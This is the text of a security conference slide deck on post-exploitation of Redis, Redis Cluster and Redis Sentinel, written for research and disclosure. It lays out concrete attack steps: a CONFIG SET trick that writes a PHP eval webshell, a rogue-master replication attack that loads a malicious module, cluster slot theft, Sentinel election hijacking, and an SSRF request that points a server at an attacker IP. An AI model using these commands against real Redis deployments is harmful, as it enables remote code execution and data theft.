Redis post-exploitation

Pavel Toporkov

whoami

Pavel Toporkov

• Application Security Specialist at Kaspersky Lab

• LC/BC CTF team member (this research was mostly made during the CTF. Лучше бы ресёрчил)

2

intro

Redis is an open source, in-memory data structure store, used as a database, cache and message broker.

3

redis-server

Redis is usually used as:

• Session/Caching (serialized!) data storage

• PUB/SUB messaging service

• Message broker for asynchronous task queues.

Default port - 6379/tcp

4

intro

s

5

intro

Nowadays it's only ~17600 instances on the internet.

6

the challenge

Given:• SSRF without response content retrieval

• Zero knowledge about database structure (key

names, pub/sub channels, etc)

Find:• Remote Code Execution

7

known techniques

CVE-2015-4335/DSA-3279 - Redis Lua Sandbox Escape

• https://redislabs.com/blog/cve-2015-4335dsa-3279-redis-lua-sandbox-escape/

• http://benmmurphy.github.io/blog/2015/06/04/redis-eval-lua-sandbox-escape/

FIXED: 04-Jun-2015

8

known techniques

SLAVEOF (https://redis.io/commands/slaveof)

PRO: We can change/insert any data to database and thus manipulate application logic

CON: We need to know about database data structure and how application processes data from itCON: It’s possible to crash the application

9

known techniques

MIGRATE (https://redis.io/commands/migrate)

PRO: We can obtain any data from database

CON: We need to know valid key for it

10

known techniques

CONFIG SET1. Change database file location

CONFIG SET dir /var/www/uploads/2. Change database file name

CONFIG SET dbfilename sh.php3. Inject your shell payload into database

SET PAYLOAD '<?php eval($_GET[0]);?>'4. Save database to file

BGSAVE

11

known techniques

CONFIG SET

PRO: Code Execution

CON: We need to know webroot directory pathCON: Depends on web application technology stackCON: It’s possible to crash the application

12

let's find something new

13

script-kiddie alert

No working exploits will be provided in this presentation, but only techniques.

14

protocol analysis

redis-server supports two protocols:

1. Plaintext (space separated)SET keyname value\n

2. Custom*3\r\n$3\r\nSET\r\n$7\r\nkeyname\r\n$5\r\nvalue\r\n

15

protocol analysis

2a 33 0d 0a 24 33 0d 0a 73 65 74 0d 0a 24 33 0d | *3..$3..set..$3.0a 61 62 63 0d 0a 24 34 0d 0a 31 32 33 34 0d 0a | .abc..$4..1234..2b 4f 4b 0d 0a | +OK.. 2a 32 0d 0a 24 33 0d 0a 67 65 74 0d 0a 24 31 0d | *2..$3..get..$1.0a 61 62 63 0d 0a | .abc..24 34 0d 0a 31 32 33 34 0d 0a | $4..1234..

16

responses

requests

protocol analysis

2a 33 0d 0a 24 33 0d 0a 73 65 74 0d 0a 24 33 0d | *3..$3..set..$3.0a 61 62 63 0d 0a 24 34 0d 0a 31 32 33 34 0d 0a | .abc..$4..1234..2b 4f 4b 0d 0a | +OK.. 2a 32 0d 0a 24 33 0d 0a 67 65 74 0d 0a 24 31 0d | *2..$3..get..$1.0a 61 62 63 0d 0a | .abc..24 34 0d 0a 31 32 33 34 0d 0a | $4..1234..

Arguments count

Argument length

Argument value

17

responses

requests

protocol analysis

2a 33 0d 0a 24 33 0d 0a 73 65 74 0d 0a 24 33 0d | *3..$3..set..$3.0a 61 62 63 0d 0a 24 34 0d 0a 31 32 33 34 0d 0a | .abc..$4..1234..2b 4f 4b 0d 0a | +OK.. 2a 32 0d 0a 24 33 0d 0a 67 65 74 0d 0a 24 31 0d | *2..$3..get..$1.0a 61 62 63 0d 0a | .abc..24 34 0d 0a 31 32 33 34 0d 0a | $4..1234..

18

responses

requests

architecture

master

client

19

architecture

slave master

client

clientTCP connection

Database changes

Connection init

20

slaveof

1. Slave initiates the connection to master server

2. Slave attempts to proceed with a partial (or full) resynchronization

3. Master keeps the slave updated by sending a stream of commands to the slave, in order to replicate any action changing the master dataset.

21

slaveof

(master)> set zxcv qwert

2a 32 0d 0a 24 36 0d 0a 53 45 4c 45 43 54 0d 0a | *2..$6..SELECT..24 31 0d 0a 30 0d 0a 2a 33 0d 0a 24 33 0d 0a 73 | $1..0..*3..$3..s65 74 0d 0a 24 34 0d 0a 7a 78 63 76 0d 0a 24 35 | et..$4..zxcv..$50d 0a 71 77 65 72 74 0d 0a | ..qwert..

(slave)> get zxcv"qwert"

22

it's time to create a rogue server!

23

rogue server

1. PING - test if a connection is still alive+PONG

2. REPLCONF - exchange replication information between master and slave+OK

3. PSYNC/SYNC <replid> - synchronize slave state with the master (partial or full)+CONTINUE <replid> 0

4. Now we can send any commands to slave. Can we obtain the responses?

24

data retrieval

NO

25

data retrieval

// networking.cint prepareClientToWrite(client *c) {...if (c->flags & (CLIENT_LUA|CLIENT_MODULE))

return C_OK;...

if ((c->flags & CLIENT_MASTER) &&!(c->flags & CLIENT_MASTER_FORCE_REPLY))

return C_ERR;

26

data retrieval

BUT ACTUALLY YES

27

data retrieval

// networking.cint prepareClientToWrite(client *c) {...if (c->flags & (CLIENT_LUA|CLIENT_MODULE))

return C_OK;...

if ((c->flags & CLIENT_MASTER) &&!(c->flags & CLIENT_MASTER_FORCE_REPLY))

return C_ERR;

28

data retrieval

SCRIPT DEBUG YES

Set the debug mode for subsequent scripts executed with EVAL.

// scripting.c/* Enable debug mode of Lua scripts for this client. */void ldbEnable(client *c) { c->flags |= CLIENT_LUA_DEBUG; ...}29

data retrieval

Exploitation steps:

1. Make the server to be a slave of our rogue server2. Perform initial handshake with connected slave3. Set the debug mode for executed scripts

SCRIPT DEBUG YES4. Trigger debugger using breakpoint

EVAL redis.breakpoint() 05. Execute redis commands from debugger

r keys *

30

data retrieval

video

31

data retrieval

32

maxlen 0

SLAVEOF 127.0.0.1 1337

pwned? not yet!

33

rogue server

1. PING - test if a connection is still alive+PONG

2. REPLCONF - exchange replication information between master and slave+OK

3. PSYNC/SYNC <replid> - synchronize slave state with the master (partial or full)+CONTINUE <replid> 0

4. Now we can send any commands to slave. Can we obtain the responses?

34

synchronization

/* Asynchronously read the SYNC payload we receive from a master */void readSyncBulkPayload(aeEventLoop *el, int fd, void *privdata, int mask) { ... if (rename(server.repl_transfer_tmpfile,server.rdb_filename) == -1) { ... } ... if (rdbLoad(server.rdb_filename,&rsi) != C_OK) { serverLog(LL_WARNING,"Failed trying to load the MASTER synchronization DB from disk");

35

synchronization

We can write arbitrary data to database file.

36

modules

"Redis modules make possible to extend Redis functionality using external modules, implementing new Redis commands at a speed and with features similar to what can be done inside the core itself."

MODULE LOAD /path/to/mymodule.so

37

exploitation steps

1. Make the server to be a slave of our rogue server2. Read dbfilename (or set your own) value using

previous data retrieval technique and drop connectionCONFIG GET dbfilename or CONFIG SET dbfilename pwn

3. On new connection initiate FULLRESYNC from master and send compiled module as payload+FULLRESYNC <Z*40> 1\r\n$<len>\r\n<pld>

4. Load module (dbfilename) using SSRFMODULE LOAD ./dump.rdb or MODULE LOAD ./pwn

38

exploit

video

39

exploit

40

1st connection. Setting dbfilename2nd connection. Sending shared object payload

MODULE LOAD pwn.so

pwned

41

redis-server 5.0

42

redis 5.0

// server.c/* * s: command not allowed in scripts. */struct redisCommand redisCommandTable[] = {... {"config",configCommand,-2,"last",0,NULL,0,0,0,0,0},...};

43

redis 5.0

We can't use CONFIG command to get or set database location anymore. We still can guess the dbfilename, but it's better to have more reliable exploit.

44

redis 5.0

// replication.cvoid syncWithMaster(aeEventLoop *el, int fd, void *privdata, int mask) {

... snprintf(tmpfile,256,

"temp-%d.%ld.rdb",(int)server.unixtime,(long int)getpid());}

Both unixtime and pid can be obtained through TIME and INFO commands using previous data retrieval technique.We can initiate FULLRESYNC with incorrect length to keep temporary file existing

45

exploitation steps

1. Make the server to be a slave of our rogue server2. Read unixtime and pid using previous data retrieval

technique and drop connectionTIME and INFO server

3. On new connection initiate FULLRESYNC from master and send compiled module as payload with incorrect length.+FULLRESYNC <Z*40> 1\r\n$<len+200>\r\n<pld>

4. Load module using SSRFMODULE LOAD ./temp-<time>.<pid>.rdb

46

redis-cluster

47

redis-cluster

Redis Cluster is a distributed implementation of Redis

Every Redis Cluster node has an additional TCP port for receiving incoming connections from other Redis Cluster nodes. This port is at a fixed offset (+10000) from the normal TCP port used to receive incoming connections from clients

48

architecture

node#1

client#1

49

node#3node#2 cluster msg bus16379/tcp

client#2

redis-cluster

The key space is split into 16384 slots

HASH_SLOT = CRC16(key) mod 16384

If the hash slot is served by the node, the query is simply processed, otherwise the node will check its internal hash slot to node map, and will reply to the client with a MOVED error, like in the following example:

GET x-MOVED 3999 127.0.0.1:6381

50

redis-cluster

We can't use SLAVEOF in cluster mode.

But we can add our rogue server to cluster

CLUSTER MEET <ip> <port> <bus_port>

After that just listen the bus port.

51

redis-cluster

typedef struct { char sig[4]; /* Signature "RCmb" (Redis Cluster message bus). */ uint32_t totlen; /* Total length of this message */ uint16_t ver; /* Protocol version, currently set to 1. */ uint16_t port; /* TCP base port number. */ uint16_t type; /* Message type */

... uint64_t configEpoch; char sender[CLUSTER_NAMELEN]; /* Name of the sender node */ unsigned char myslots[CLUSTER_SLOTS/8]; char slaveof[CLUSTER_NAMELEN]; char myip[NET_IP_STR_LEN]; /* Sender IP, if not all zeroed. */

... uint16_t flags; /* Sender node flags */

...} clusterMsg;

52

redis-cluster

We can register our rogue server in message bus and steal the slots from existing nodes. All we need is to have greater configEpoch value

All client requests will be redirected to our server

127.0.0.1:7000> get 12345213(error) MOVED 5912 127.0.0.1:1234

53

cluster takeover

54

exploitation steps

1. Add our rogue server to clusterCLUSTER MEET <ip> <port> <bus_port>

2. Wait for connection on message bus port3. Perform handshake through message bus with myslots

field value set to "\xFF"*2048 and configEpoch set to "\xFF"*8

55

redis-cluster

[+] Got connection from 127.0.0.1:45903

56

redis-cluster

// cluster.cvoid clusterUpdateSlotsConfigWith(clusterNode *sender, uint64_t senderConfigEpoch, unsigned char *slots) { if (server.cluster->slots[j] == curmaster) newmaster = sender; ... if (newmaster && curmaster->numslots == 0) { serverLog(LL_WARNING, "Configuration change detected. Reconfiguring myself " "as a replica of %.40s", sender->name); clusterSetMaster(sender); ...

57

redis-cluster

When node loses all its slots, it becomes slave and can be pwned with previous techniques

58

pwned

59

mitigation

1. Required AUTH will prevent attacker to execute commands through SSRF (won't help against redis command injection attacks though)

2. redis-server >= 3.2.7 has built-in protection from HTTP SSRF attacks{"post", securityWarningCommand, -1,"lt",0,NULL,0,0,0,0,0},{"host:", securityWarningCommand, -1,"lt",0,NULL,0,0,0,0,0},

60

mitigation

POST /qwert HTTP/1.1Host: 127.0.0.1:6379Content-Type: multipart/form-data; boundary=aContent-Length: 116

--aContent-Disposition: form-data; name="zxcv"

SLAVEOF 3.1.33.7 6379--a--

61

redis-sentinel

62

redis-sentinel

Redis Sentinel provides high availability for Redis.

Redis Sentinel also provides other collateral tasks such as monitoring, notifications and acts as a configuration provider for clients.

Sentinels by default run listening for connections to TCP port 26379

63

redis-sentinel

Redis Sentinel has no fake POST and Host: commands, so we can use HTTP SSRF to access it.

64

redis-sentinel

When any master instance fails, Sentinel performs election between failed master slaves, and the elected one will be promoted to master. All other slaves will become slave of promoted master.

Election algorithm:

1. slave_priority2. repl_offset3. runid (lexicographically)

65

redis-sentinel

Election hacking 101

Slave with following config will always win the election

slave_priorty:1slave_repl_offset: 999999999run_id: <0*40>

66

redis-sentinel

Vulnerability:

Sentinel obtains information about slaves only from master and doesn't check if they are real slaves of this master.

67

exploitation steps

1. Make our master rogue server be watched by sentinelSENTINEL MONITOR <groupname> <ip> <port> <quorum>

2. Reply to sentinels INFO with information about two slaves: first is the instance we want to takeover, second is another rogue serverslave0:ip=3.1.33.7,port=1337,slave1:ip=127.0.0.1,port=6379, <- victim server

3. Reply to sentinels INFO from slave rogue server with slave_priority:1 to win the election

4. Shutdown master rogue server. Our slave rogue server will be promoted to master and all other slaves of our master will become slaves.

68

pwned

69

Easy PWN for dessert

70

redis-sentinel

Sentinel rewrites its config on every watched instances reconfiguration. It's possible to inject arbitrary payload to config file using \n in reconfiguration parameters

SENTINEL SET <groupname> auth-pass "qwert\n<payload>"

71

redis-sentinel

Sentinel notification-script and sentinel client-reconfig-script are used in order to configure scripts that are called to notify the system administrator or to reconfigure clients after a failover.

72

disclosure

Timeline:06.08.2018 - First email to maintainer28.08.2018 - Second email to maintainer?????????? - No response

73

http://antirez.com/news/96

questions?

74